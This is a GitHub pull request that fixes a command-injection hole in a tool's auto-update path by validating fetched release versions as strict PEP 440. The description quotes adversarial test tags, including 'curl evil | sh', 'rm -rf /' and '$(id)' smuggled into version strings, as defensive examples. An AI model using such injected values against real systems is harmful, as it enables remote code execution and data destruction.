Skip to content

fix(update): validate fetched release version as strict PEP 440 (GHSA-x6cx, code-only)#462

Merged
padak merged 1 commit into
mainfrom
fix/version-regex-anchor
Jun 23, 2026
Merged

fix(update): validate fetched release version as strict PEP 440 (GHSA-x6cx, code-only)#462
padak merged 1 commit into
mainfrom
fix/version-regex-anchor

Conversation

@padak

@padak padak commented Jun 23, 2026

Copy link
Copy Markdown
Member

Summary

Fixes M10 from the 2026-06-12 security audit (private advisory GHSA-x6cx-93j8-pgwj) — a non-end-anchored version regex in the auto-update path.

_fetch_kbagent_latest_version validated the GitHub /releases/latest tag_name with re.match(r"\d+\.\d+\.\d+", version). re.match anchors at the start but not the end, so an adversarial release tag like v0.99.0; curl evil | sh matched on its 0.99.0 prefix and was returned — then flowed into resolve_kbagent_wheel_url / build_kbagent_upgrade_command, i.e. the auto-update install command/URL.

Fix

Replace the loose prefix match with strict packaging.version.Version() validation (already a dependency, and the --beta prerelease path _fetch_kbagent_latest_prerelease already used it). A string that doesn't parse as clean PEP 440 — anything with shell metacharacters, spaces, slashes, etc. — is now rejected and the update is skipped. lstrip("v")removeprefix("v") (strip exactly one leading v, not a char-set).

Applied the same fix to _fetch_mcp_latest_version (the PyPI version that feeds the MCP upgrade command) as defense-in-depth — PyPI already enforces PEP 440, but the install-path validation should not rely on that.

Tests

TestFetchKbagentLatestVersion: rejects 6 adversarial tags (; curl … | sh, && rm -rf /, /../../x, $(id), trailing garbage, vgarbage); accepts stable + beta (v0.65.1, v0.43.0b1, bare 0.65.2). TestFetchMcpLatestVersion: rejects malformed PyPI versions. All Version() rejections empirically confirmed. Full suite green: 4180 passed, 135 skipped; lint/format/ty clean.

⚠️ Code-only PR

Touches only version_service.py + test_version_service.py — no version bump / changelog (added at next release). Same conflict-immunity rationale as #422 / #460 / #461.

Audit progress

Last MEDIUM after this: M7 (silent plaintext-on-encrypt write — 3 services), in a separate PR. Then only the M1/M5 residuals remain (both owner-accepted).


Open in Devin Review

`_fetch_kbagent_latest_version` validated the GitHub release tag with
`re.match(r"\d+\.\d+\.\d+", version)`, which is anchored at the start but NOT
the end. An adversarial release tag like `v0.99.0; curl evil | sh` passed on
its `0.99.0` prefix and flowed into `resolve_kbagent_wheel_url` /
`build_kbagent_upgrade_command` (the auto-update install command). Replace the
loose prefix match with strict `packaging.version.Version()` validation
(already a dependency; the --beta prerelease path already used it). Same fix
applied to `_fetch_mcp_latest_version` (PyPI -> MCP upgrade command) as
defense-in-depth. `lstrip("v")` -> `removeprefix("v")` (strip exactly one v).

Code-only (no version bump / changelog) to stay conflict-free against the
rapid main release cadence; version + changelog added at next release.

Private advisory GHSA-x6cx-93j8-pgwj.

@devin-ai-integration devin-ai-integration Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ Devin Review: No Issues Found

Devin Review analyzed this PR and found no bugs or issues to report.

Open in Devin Review

@padak padak merged commit 7c36df0 into main Jun 23, 2026
5 checks passed
@padak padak deleted the fix/version-regex-anchor branch June 23, 2026 20:02
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant